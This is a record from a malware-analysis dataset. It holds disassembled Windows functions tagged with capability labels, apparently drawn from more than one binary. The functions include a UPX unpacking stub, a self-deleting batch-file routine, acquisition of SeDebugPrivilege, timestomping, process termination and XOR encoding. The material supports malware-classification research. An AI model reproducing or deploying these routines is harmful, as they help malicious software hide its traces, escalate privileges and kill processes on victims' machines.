joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4faa50
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xa0000]
push edi
jmp 0x4faa6a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x4faa71
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4faa60
mov eax, 1
add ebx, ebx
jne 0x4faa83
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x4faa94
jne 0x4faab3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4faab3
dec eax
add ebx, ebx
jne 0x4faaa0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x4faa78
add ebx, ebx
jne 0x4faaaf
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x4fab05
xor ecx, ecx
sub eax, 3
jb 0x4faacb
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4fab3a
sar eax, 1
mov ebp, eax
jmp 0x4faad6
add ebx, ebx
jne 0x4faad6
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4faaa4
inc ecx
add ebx, ebx
jne 0x4faae4
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x4faaa4
add ebx, ebx
jne 0x4faaf1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x4faae6
jne 0x4fab02
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x4faae6
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4fab24
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4fab16
jmp 0x4faa66
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4fab24
add edi, ecx
jmp 0x4faa66
pop esi
mov edi, esi
mov ecx, 0x3b6c
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4fab42
cmp byte [edi], 0x17
jne 0x4fab42
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x4fab47
lea edi, [esi + 0xf4000]
mov eax, dword [edi]
or eax, eax
je 0x4fabb6
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x113110]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1131a4]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x4fab74
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1131ac]
or eax, eax
je 0x4fabb0
mov dword [ebx], eax
add ebx, 4
jmp 0x4fab91
call dword [esi + 0x1131a8]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x4fabe7
cmp al, 0xef
ja 0x4fabda
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x4fabbc
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x4fabc9
mov ebp, dword [esi + 0x1131b0]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x22f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x4fac1b
sub esp, 0xffffff80
jmp 0x435126
Function at 0x401080
Capabilities:
Get common file path

Disassembly:
sub esp, 0x4c0
push esi
push edi
mov ecx, 0xaf
xor eax, eax
lea edi, [esp + 0x209]
mov byte [esp + 0x208], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0
stosb byte es:[edi], al
call fcn.00401150
lea eax, [esp + 0x108]
push 0xff
push eax
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
lea ecx, [esp + 0x108]
push str.SYSTEM32
push ecx
call dword [sym.imp.KERNEL32.DLL_lstrcatA]
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 9]
mov byte [esp + 8], 0
rep stosd dword es:[edi], eax
lea edx, [esp + 0x208]
push 0
push edx
push 0x4047dc
stosw word es:[edi], ax
call fcn.004024b0
lea eax, [esp + 0x4b0]
lea ecx, [esp + 0x114]
push eax
push ecx
lea edx, [esp + 0x1c]
push str._s_s
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x1c
lea eax, [esp + 8]
push eax
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov esi, eax
test esi, esi
je 0x40113e
push str.SQLAlloc
push esi
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
test eax, eax
je 0x40113e
call eax
push esi
call dword [sym.imp.KERNEL32.DLL_FreeLibrary]
pop edi
pop esi
add esp, 0x4c0
ret
Function at 0x401170
Capabilities:
Create process on windows
Get common file path
Write and execute a file
Write file on windows

Disassembly:
sub esp, 0x304
push esi
push edi
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0xd]
mov byte [esp + 0xc], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x10d]
mov byte [esp + 0x10c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, str.zyxdqccq
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x10c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x100
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x110]
push ecx
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
mov esi, dword [sym.imp.KERNEL32.DLL_lstrcpyA]
lea edx, [esp + 0xc]
push str._ECHO_OFF__r_n
push edx
call esi
lea eax, [esp + 0xc]
push 0x40409c
push eax
call esi
mov esi, dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea ecx, [esp + 0xc]
push str.try_r_n
push ecx
call esi
lea edx, [esp + 0xc]
push str._del
push edx
call esi
lea eax, [esp + 0xc]
push 0x404088
push eax
call esi
lea ecx, [esp + 0x10c]
lea edx, [esp + 0xc]
push ecx
push edx
call esi
lea eax, [esp + 0xc]
push 0x404088
push eax
call esi
lea ecx, [esp + 0xc]
push str._if_exist__
push ecx
call esi
lea edx, [esp + 0x10c]
lea eax, [esp + 0xc]
push edx
push eax
call esi
lea ecx, [esp + 0xc]
push str.__goto_try_r_n
push ecx
call esi
push str._del__0
lea edx, [esp + 0x10]
push edx
call esi
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x20d]
mov byte [esp + 0x20c], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x20c]
push 0x104
push eax
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
lea ecx, [esp + 0x20c]
push str.del.bat
push ecx
call esi
push 0
push 0x80
push 2
push 0
push 0
lea edx, [esp + 0x220]
push 0x40000000
push edx
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov esi, eax
lea eax, [esp + 8]
push 0
push eax
lea edi, [esp + 0x14]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
lea ecx, [esp + 0x18]
push ecx
push esi
call dword [sym.imp.KERNEL32.DLL_WriteFile]
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
lea edx, [esp + 0x20c]
push 0
push edx
call dword [sym.imp.KERNEL32.DLL_WinExec]
pop edi
mov al, 1
pop esi
add esp, 0x304
ret
Function at 0x4013e0
Capabilities:
Delete file
Set file attributes

Disassembly:
sub esp, 0x10
push ebx
push esi
push edi
push str.454545
push str.honeey.budy_s
push 0x4047dc
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
xor edi, edi
push 0x3ff
push 0x4047dc
push edi
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
test eax, eax
je 0x4015fe
mov eax, dword [esp + 0x28]
push 0x4043cc
push 0x4043d4
push eax
call fcn.004020b0
push edi
push 0x404ce0
push 0x4047dc
call fcn.004024b0
mov eax, dword [0x4043cc]
mov edx, dword [0x404d38]
add esp, 0x18
mov ecx, 0x404eac
cmp eax, 1
mov dword [0x4043d0], ecx
mov dword [0x404010], edx
jne 0x4014c4
mov eax, dword [0x4043d4]
mov dword [esp + 0xc], ecx
mov dword [esp + 0x10], 0x401320
mov dword [esp + 0x14], edi
mov dword [esp + 0x18], edi
mov esi, 0x4040bc
mov dl, byte [eax]
mov bl, byte [esi]
mov cl, dl
cmp dl, bl
jne 0x4014a7
test cl, cl
je 0x4014a3
mov dl, byte [eax + 1]
mov bl, byte [esi + 1]
mov cl, dl
cmp dl, bl
jne 0x4014a7
add eax, 2
add esi, 2
test cl, cl
jne 0x40147f
xor eax, eax
jmp 0x4014ac
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, edi
jne 0x4015fe
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_StartServiceCtrlDispatcherA]
mov eax, dword [0x4043cc]
cmp eax, edi
jne 0x40150e
call fcn.004016f0
test eax, eax
je 0x4015fe
cmp dword [0x404d34], edi
je 0x4014f9
push 0x24
push 0x4040e0
push 0x4040c8
push edi
call dword [sym.imp.USER32.dll_MessageBoxA]
cmp eax, 6
jne 0x4015fe
push 1
call fcn.00401830
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
add esp, 0x10
ret 0x10
cmp eax, 2
jl 0x4015fe
mov eax, dword [0x4043d4]
mov esi, 0x4040c4
mov dl, byte [eax]
mov bl, byte [esi]
mov cl, dl
cmp dl, bl
jne 0x401549
test cl, cl
je 0x401545
mov dl, byte [eax + 1]
mov bl, byte [esi + 1]
mov cl, dl
cmp dl, bl
jne 0x401549
add eax, 2
add esi, 2
test cl, cl
jne 0x401521
xor eax, eax
jmp 0x40154e
sbb eax, eax
sbb eax, 0xffffffff
mov ebx, dword [sym.imp.KERNEL32.DLL_Sleep]
cmp eax, edi
jne 0x40158f
mov edi, dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
push ebp
mov ebp, dword [sym.imp.KERNEL32.DLL_DeleteFileA]
xor esi, esi
mov eax, dword [0x4043d8]
push 0x80
push eax
call edi
mov ecx, dword [0x4043d8]
push ecx
call ebp
test eax, eax
jne 0x40158e
push 0x3e8
call ebx
inc esi
cmp esi, 0xa
jl 0x401567
pop ebp
mov eax, dword [0x4043d4]
mov esi, 0x4040c0
mov dl, byte [eax]
mov cl, dl
cmp dl, byte [esi]
jne 0x4015bd
test cl, cl
je 0x4015b9
mov dl, byte [eax + 1]
mov cl, dl
cmp dl, byte [esi + 1]
jne 0x4015bd
add eax, 2
add esi, 2
test cl, cl
jne 0x401599
xor eax, eax
jmp 0x4015c2
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x4015fe
push 0x1f4
call ebx
cmp dword [0x4043cc], 3
jne 0x4015ea
mov eax, dword [0x4043dc]
push eax
call fcn.00401e20
push eax
call fcn.00401dc0
add esp, 8
mov ecx, dword [0x4043d8]
push ecx
call fcn.00401610
add esp, 4
call fcn.00401170
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x10
ret 0x10
Function at 0x401610
Capabilities:
Delete file
Get common file path

Disassembly:
sub esp, 0x17c
push ebx
push ebp
mov ebp, dword [esp + 0x188]
push esi
push edi
push ebp
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov ebx, eax
mov edi, str.zyxdqccq_.budy___
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
lea edx, [esp + 0x110]
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
test ebx, ebx
rep movsb byte es:[edi], byte [esi]
je 0x40166d
push str.Uninstall
push ebx
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
test eax, eax
je 0x40166d
push ebp
call eax
add esp, 4
push ebx
call dword [sym.imp.KERNEL32.DLL_FreeLibrary]
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x11]
mov byte [esp + 0x10], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea ecx, [esp + 0x10]
push 0x104
push ecx
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
mov esi, dword [sym.imp.KERNEL32.DLL_lstrcatA]
lea edx, [esp + 0x10]
push 0x404100
push edx
call esi
lea eax, [esp + 0x10]
push ebp
push eax
call esi
mov esi, dword [sym.imp.KERNEL32.DLL_DeleteFileA]
lea ecx, [esp + 0x10]
push ecx
call esi
lea edi, [esp + 0x10]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x10]
repne scasb al, byte es:[edi]
not ecx
dec ecx
push edx
mov byte [esp + ecx + 0x13], 0x78
call esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x17c
ret

Function at 0x4016f0
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x2ac
push ebx
push ebp
push esi
xor esi, esi
push edi
push esi
push 2
call sub.KERNEL32.DLL_CreateToolhelp32Snapshot
lea ecx, [esp + 0x118]
mov dword [esp + 0x10], eax
push ecx
push eax
mov dword [esp + 0x120], 0x128
call sub.KERNEL32.DLL_Process32First
test eax, eax
je 0x4017f3
mov ebx, dword [sym.imp.KERNEL32.DLL_GetCurrentProcessId]
mov ebp, dword [sym.imp.KERNEL32.DLL_OpenProcess]
mov edi, str.zyxdqccq
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x240]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call ebx
cmp dword [esp + 0x120], eax
jne 0x4017c8
mov eax, dword [esp + 0x130]
push eax
push 0
push 0x410
mov dword [0x4047d8], eax
call ebp
mov edx, eax
mov ecx, pe_nt_image_headers32
xor eax, eax
lea edi, [esp + 0x15]
mov byte [esp + 0x14], 0
push 0x104
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x18]
stosw word es:[edi], ax
push ecx
push 0
push edx
stosb byte es:[edi], al
call sub.PSAPI.DLL_GetModuleFileNameExA
lea edx, [esp + 0x14]
push edx
call fcn.00402ba0
lea eax, [esp + 0x18]
push str..EXE
push eax
call fcn.00402cf0
add esp, 0xc
test eax, eax
jne 0x4017e3
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x118]
push ecx
push edx
call sub.KERNEL32.DLL_Process32Next
test eax, eax
je 0x401800
jmp 0x401735
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x2ac
ret
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x2ac
ret
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x2ac
ret
Function at 0x401dc0
Capabilities:
Terminate process

Disassembly:
sub esp, 0x80
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp]
push esi
push edi
mov edi, str.dfder.zyxdqccq___
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call fcn.00401f60
mov ecx, dword [esp + 0x8c]
push ecx
push 0
push 1
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.DLL_TerminateProcess]
pop edi
pop esi
add esp, 0x80
ret

Function at 0x401f60
Capabilities:
Acquire debug privileges

Disassembly:
sub esp, 0x9c
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x1c]
push esi
push edi
mov edi, str.d3e33.budy
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 8]
push ecx
push 0x20
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
pop edi
pop esi
test eax, eax
je 0x401ff6
lea edx, [esp + 4]
push edx
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
test eax, eax
je 0x401ff6
mov eax, dword [esp + 4]
mov ecx, dword [esp + 8]
push 0
push 0
lea edx, [esp + 0x14]
mov dword [esp + 0x18], eax
mov eax, dword [esp + 8]
push 0x10
push edx
push 0
push eax
mov dword [esp + 0x24], 1
mov dword [esp + 0x2c], ecx
mov dword [esp + 0x30], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
add esp, 0x9c
ret

Function at 0x402020
Capabilities:
Set file attributes
Timestomp file

Disassembly:
sub esp, 0x18
push esi
mov esi, dword [esp + 0x20]
push 6
push esi
call dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
push 0
push 0x80
push 3
push 0
push 1
push 0x40000000
push esi
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
mov esi, eax
lea eax, [esp + 4]
lea ecx, [esp + 0xc]
push eax
lea edx, [esp + 0x18]
push ecx
push edx
push esi
call dword [sym.imp.KERNEL32.DLL_GetFileTime]
mov eax, 0x3859dfe2
mov ecx, 0x1c43d62
mov dword [esp + 0x14], eax
mov dword [esp + 0xc], eax
mov dword [esp + 4], eax
mov dword [esp + 0x18], ecx
mov dword [esp + 0x10], ecx
mov dword [esp + 8], ecx
lea eax, [esp + 4]
lea ecx, [esp + 0xc]
push eax
lea edx, [esp + 0x18]
push ecx
push edx
push esi
mov dword [esp + 0x18], 0x1c500b2
call dword [sym.imp.KERNEL32.DLL_SetFileTime]
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
xor eax, eax
pop esi
add esp, 0x18
ret

Function at 0x402200
Capabilities:
Encode data using xor

Disassembly:
push edi
mov edi, dword [esp + 0x10]
test edi, edi
jle 0x402222
mov cl, byte [esp + 0x14]
mov eax, dword [esp + 8]
push esi
mov esi, dword [esp + 0x10]
mov dl, byte [esi]
xor dl, cl
mov byte [eax], dl
inc eax
inc esi
dec edi
jne 0x402216
pop esi
pop edi
ret
Function at 0x402be0
Capabilities:
Accept command line arguments
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
push esi
call dword [sym.imp.KERNEL32.DLL_GetCommandLineA]
mov esi, eax
mov al, byte [esi]
cmp al, 0x22
jne 0x402c09
mov al, byte [esi + 1]
inc esi
test al, al
je 0x402c01
cmp al, 0x22
jne 0x402bf5
cmp byte [esi], 0x22
jne 0x402c13
inc esi
jmp 0x402c13
cmp al, 0x20
jle 0x402c13
inc esi
cmp byte [esi], 0x20
jg 0x402c0d
mov al, byte [esi]
test al, al
je 0x402c1d
cmp al, 0x20
jle 0x402c06
and dword [ebp - 0x18], 0
lea eax, [ebp - 0x44]
push eax
call dword [sym.imp.KERNEL32.DLL_GetStartupInfoA]
call fcn.00402c8d
push 0x404004
push section..data
call fcn.00402c73
test byte [ebp - 0x18], 1
pop ecx
pop ecx
je 0x402c4d
movzx eax, word [ebp - 0x14]
jmp 0x402c50
push 0xa
pop eax
push eax
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
push eax
call main
mov esi, eax
call fcn.00402ca5
push esi
call dword [sym.imp.KERNEL32.DLL_ExitProcess]
Function at 0x401110
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x40112b
pop edi
pop ebx
pop ebp
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x401162
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [ebp + 0x10]
add eax, esi
and ecx, 0xf
jbe 0x40115e
jmp 0x401150
cmp esi, eax
jae 0x401162
dec ecx
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x401150
cmp esi, eax
jb 0x401169
pop esi
pop edi
xor eax, eax
pop ebx
pop ebp
ret
movzx eax, word [esi]
neg eax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebx
pop ebp
ret

Function at 0x403600
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x804
push ebx
push esi
push edi
push 0
push 0x80
push 3
push 0
push 0
mov edi, ecx
push 0x40000000
lea ebx, [edi + 0x210]
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x40368c
push 0
push 0x80
push 1
push 0
push 0
push 0xc0000000
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
add edi, 8
push edi
mov esi, eax
lea eax, [ebp - 0x804]
push str.__s_log_file_r_n_r_n
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
push 0
lea ecx, [ebp - 4]
push ecx
lea edx, [ebp - 0x804]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
push eax
lea eax, [ebp - 0x804]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4036a0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1020
call fcn.00554450
push ebx
mov ebx, dword [ebp + 8]
push edi
mov edi, ecx
cmp ebx, dword [edi + 4]
jg 0x4037cf
push esi
push 0
push 0x80
push 4
push 0
push 0
push 0x40000000
lea eax, [edi + 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push 2
push 0
mov esi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea ecx, [ebp - 0x20]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
lea edx, [ebp - 0x10]
push edx
lea eax, [ebp - 0x20]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_SystemTimeToTzSpecificLocalTime]
mov edx, dword [edi]
mov eax, dword [edx]
push ebx
mov ecx, edi
call eax
push eax
lea ecx, [ebp - 0x1020]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
movzx eax, word [ebp - 4]
movzx ecx, word [ebp - 6]
lea edx, [ebp - 0x1020]
push edx
movzx edx, word [ebp - 8]
push eax
movzx eax, word [ebp - 0x10]
push ecx
movzx ecx, word [ebp - 0xe]
push edx
movzx edx, word [ebp - 0xa]
push eax
push ecx
push edx
add edi, 8
push edi
lea eax, [ebp - 0x820]
push str.__s___02d__02d__d__02d:_02d:_02d___s__r_n
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
mov edi, dword [sym.imp.KERNEL32.dll_lstrlenW]
add esp, 0x28
push 0
lea ecx, [ebp + 8]
push ecx
lea edx, [ebp - 0x820]
push edx
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_WriteFile]
add eax, eax
push eax
lea eax, [ebp - 0x820]
push eax
push esi
call ebx
mov edx, dword [ebp + 0xc]
push 0
lea ecx, [ebp + 8]
push ecx
push edx
call edi
add eax, eax
push eax
mov eax, dword [ebp + 0xc]
push eax
push esi
call ebx
push str._r_n_r_n
lea ecx, [ebp - 0x820]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0
lea edx, [ebp + 8]
push edx
lea eax, [ebp - 0x820]
push eax
call edi
add eax, eax
push eax
lea ecx, [ebp - 0x820]
push ecx
push esi
call ebx
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
pop edi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x4063e0
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
mov esi, ecx
mov eax, dword [esi + 0x20]
push edi
push eax
call dword [sym.imp.USER32.dll_GetParent]
push eax
call fcn.0044fb63
mov ebx, dword [esi + 0x9c]
sub ebx, dword [esi + 0xa4]
mov ecx, dword [esi + 0xb8]
sub ebx, 0x14
xor edi, edi
dec ecx
mov dword [ebp - 4], eax
js 0x40644a
test edi, edi
js 0x406547
cmp edi, dword [esi + 0xb8]
jge 0x406547
mov edx, dword [esi + 0xb4]
mov eax, dword [edx + edi*4]
push 0
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov ecx, dword [esi + 0xb8]
inc edi
dec ecx
cmp edi, ecx
jle 0x406418
mov eax, dword [esi + 0x78]
mov ecx, dword [eax + 0x20]
lea edx, [ebp - 0x14]
push edx
push ecx
call dword [sym.imp.USER32.dll_GetWindowRect]
mov ecx, dword [ebp - 4]
lea edx, [ebp - 0x14]
push edx
call fcn.0044b4d8
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0xc]
sub eax, ebx
push 1
mov dword [ebp - 8], eax
sub eax, ecx
push eax
mov eax, dword [ebp - 0x14]
sub edx, eax
push edx
push ecx
mov ecx, dword [esi + 0x78]
push eax
call fcn.0045400e
mov eax, dword [esi + 0xcc]
xor edi, edi
dec eax
js 0x40650d
test edi, edi
js 0x406547
cmp edi, dword [esi + 0xcc]
jge 0x406547
mov edx, dword [esi + 0xc8]
mov eax, dword [edx + edi*4]
lea ecx, [ebp - 0x14]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowRect]
lea ecx, [ebp - 0x14]
push ecx
mov ecx, dword [ebp - 4]
call fcn.0044b4d8
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 8]
sub ecx, ebx
sub eax, ebx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 8], eax
cmp edi, dword [esi + 0xcc]
jge 0x406547
mov edx, dword [ebp - 0xc]
push 1
sub eax, ecx
push eax
mov eax, dword [ebp - 0x14]
sub edx, eax
push edx
push ecx
push eax
mov eax, dword [esi + 0xc8]
mov ecx, dword [eax + edi*4]
push ecx
call dword [sym.imp.USER32.dll_MoveWindow]
mov edx, dword [esi + 0xcc]
inc edi
dec edx
cmp edi, edx
jle 0x406495
mov esi, dword [ebp - 4]
mov ecx, dword [esi + 0x20]
lea eax, [ebp - 0x14]
push eax
push ecx
call dword [sym.imp.USER32.dll_GetWindowRect]
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0xc]
sub eax, ebx
push 1
mov dword [ebp - 8], eax
sub eax, ecx
push eax
mov eax, dword [ebp - 0x14]
sub edx, eax
push edx
push ecx
push eax
mov ecx, esi
call fcn.0045400e
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.0044917d
int3
Function at 0x40d9d0
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
call fcn.0040b950
mov ecx, esi
call fcn.0040c780
mov ecx, esi
pop esi
jmp fcn.0040ced0